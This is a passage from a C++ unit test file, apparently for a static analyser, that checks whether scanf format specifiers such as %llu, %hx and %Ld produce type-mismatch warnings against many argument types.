TEST_SCANF_WARN_AKA_CPP(\"%ld\",\"long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%ld\",\"long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN64(\"%ld\",\"long\",\"std::intptr_t\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%ld\",\"long\",\"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"bool\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"char\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"signed char\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"unsigned char\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"signed short\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"unsigned short\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"signed int\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"unsigned int\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"signed long\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"unsigned long\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"signed long long\");\n TEST_SCANF_NOWARN(\"%llu\",\"unsigned long long\",\"unsigned long long\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"float\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"double\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"long double\");\n TEST_SCANF_WARN(\"%llu\",\"unsigned long long\",\"void *\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%llu\",\"unsigned long long\",\"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%llu\",\"unsigned long long\",\"uintptr_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%llu\",\"unsigned long long\",\"std::uintptr_t\", \"unsigned long\");\n\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"bool\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"char\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"signed char\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"unsigned char\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"signed short\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"unsigned short\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"signed int\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"unsigned int\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"signed long\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"unsigned long\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"signed long long\");\n TEST_SCANF_NOWARN(\"%llx\",\"unsigned long long\",\"unsigned long long\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"float\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"double\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"long double\");\n TEST_SCANF_WARN(\"%llx\",\"unsigned long long\",\"void *\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%llx\",\"unsigned long long\",\"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"uintptr_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::uintptr_t\", \"unsigned long\");\n\n TEST_SCANF_WARN(\"%lld\",\"long long\",\"bool\");\n TEST_SCANF_WARN(\"%lld\",\"long long\",\"char\");\n TEST_SCANF_NOWARN(\"%lld\",\"long long\",\"long long\");\n TEST_SCANF_WARN(\"%lld\",\"long long\",\"unsigned long long\");\n TEST_SCANF_WARN(\"%lld\",\"long long\",\"void *\");\n TEST_SCANF_WARN_AKA(\"%lld\",\"long long\",\"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lld\",\"long long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lld\",\"long long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lld\",\"long long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%lld\",\"long long\",\"std::intptr_t\", \"signed long\");\n\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"bool\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"char\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"signed char\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"unsigned char\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"signed short\");\n TEST_SCANF_NOWARN(\"%hu\", \"unsigned short\", \"unsigned short\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"signed int\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"unsigned int\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"signed long\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"unsigned long\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"signed long long\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"float\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"double\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"long double\");\n TEST_SCANF_WARN(\"%hu\", \"unsigned short\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%hu\", \"unsigned short\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hu\", \"unsigned short\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hu\", \"unsigned short\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hu\", \"unsigned short\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hu\", \"unsigned short\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hu\", \"unsigned short\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"bool\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"char\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"signed char\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"unsigned char\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"signed short\");\n TEST_SCANF_NOWARN(\"%hx\", \"unsigned short\", \"unsigned short\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"signed int\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"unsigned int\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"signed long\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"unsigned long\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"signed long long\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"float\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"double\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"long double\");\n TEST_SCANF_WARN(\"%hx\", \"unsigned short\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%hx\", \"unsigned short\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hx\", \"unsigned short\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hx\", \"unsigned short\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hx\", \"unsigned short\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hx\", \"unsigned short\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hx\", \"unsigned short\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%hd\", \"short\", \"bool\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"char\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"signed char\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"unsigned char\");\n TEST_SCANF_NOWARN(\"%hd\", \"short\", \"signed short\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"unsigned short\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"signed int\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"unsigned int\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"signed long\");\n TEST_SCANF_WARN(\"%hd\", \"short\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%hd\", \"short\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hd\", \"short\", \"ssize_t\", \"signed long\", \"signed long long\");\n\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"bool\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"char\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"signed char\");\n TEST_SCANF_NOWARN(\"%hhu\", \"unsigned char\", \"unsigned char\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"signed short\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"unsigned short\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"signed int\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"unsigned int\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"signed long\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"unsigned long\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"signed long long\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"float\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"double\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"long double\");\n TEST_SCANF_WARN(\"%hhu\", \"unsigned char\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%hhu\", \"unsigned char\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hhu\", \"unsigned char\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hhu\", \"unsigned char\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hhu\", \"unsigned char\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hhu\", \"unsigned char\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hhu\", \"unsigned char\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"bool\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"char\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"signed char\");\n TEST_SCANF_NOWARN(\"%hhx\", \"unsigned char\", \"unsigned char\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"signed short\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"unsigned short\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"signed int\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"unsigned int\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"signed long\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"unsigned long\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"signed long long\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"float\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"double\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"long double\");\n TEST_SCANF_WARN(\"%hhx\", \"unsigned char\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%hhx\", \"unsigned char\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hhx\", \"unsigned char\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hhx\", \"unsigned char\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hhx\", \"unsigned char\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%hhx\", \"unsigned char\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%hhx\", \"unsigned char\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%hhd\", \"char\", \"bool\");\n TEST_SCANF_NOWARN(\"%hhd\", \"char\", \"char\");\n TEST_SCANF_NOWARN(\"%hhd\", \"char\", \"signed char\");\n TEST_SCANF_WARN(\"%hhd\", \"char\", \"unsigned char\");\n TEST_SCANF_WARN(\"%hhd\", \"char\", \"signed short\");\n TEST_SCANF_WARN(\"%hhd\", \"char\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%hhd\", \"char\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"bool\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"char\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"signed char\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"signed short\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"signed int\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"signed long\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned long\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%Lu\", \"unsigned long long\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"float\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"double\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"long double\");\n TEST_SCANF_WARN(\"%Lu\", \"unsigned long long\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Lu\", \"unsigned long long\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Lu\", \"unsigned long long\", \"uintptr_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%Lu\", \"unsigned long long\", \"std::uintptr_t\", \"unsigned long\");\n\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"bool\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"char\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"signed char\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"signed short\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"signed int\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"signed long\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned long\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%Lx\", \"unsigned long long\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"float\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"double\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"long double\");\n TEST_SCANF_WARN(\"%Lx\", \"unsigned long long\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Lx\", \"unsigned long long\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Lx\", \"unsigned long long\", \"uintptr_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%Lx\", \"unsigned long long\", \"std::uintptr_t\", \"unsigned long\");\n\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"bool\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"char\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"signed char\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"signed short\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"signed int\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"signed long\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"unsigned long\");\n TEST_SCANF_NOWARN(\"%Ld\", \"long long\", \"signed long long\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"float\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"double\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"long double\");\n TEST_SCANF_WARN(\"%Ld\", \"long long\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%Ld\", \"long long\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Ld\", \"long long\", \"ssize_t\", \"signed long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Ld\", \"long long\", \"ptrdiff_t\", \"signed long\");\n TEST_SCANF_WARN_AKA(\"%Ld\", \"long long\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%Ld\", \"long long\", \"intmax_t\", \"signed long\");\n TEST_SCANF_WARN_AKA(\"%Ld\", \"long long\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ld\", \"long long\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%Ld\", \"long long\", \"std::ssize_t\", \"signed long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%Ld\", \"long long\", \"std::ptrdiff_t\", \"signed long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%Ld\", \"long long\", \"std::intptr_t\", \"signed long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ld\", \"long long\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%Ld\\\", \\\"s3\\\");\\n\"\n \" scanf(\\\"%Ld\\\", L\\\"s5W\\\");\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %Ld in format string (no. 1) requires 'long long *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %Ld in format string (no. 1) requires 'long long *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" scanf(\\\"%Ld\\\", i);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %Ld in format string (no. 1) requires 'long long *' but the argument type is 'signed int'.\\n\", errout_str());\n\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"bool\");\n TEST_SCANF_WARN(\"%ju\", 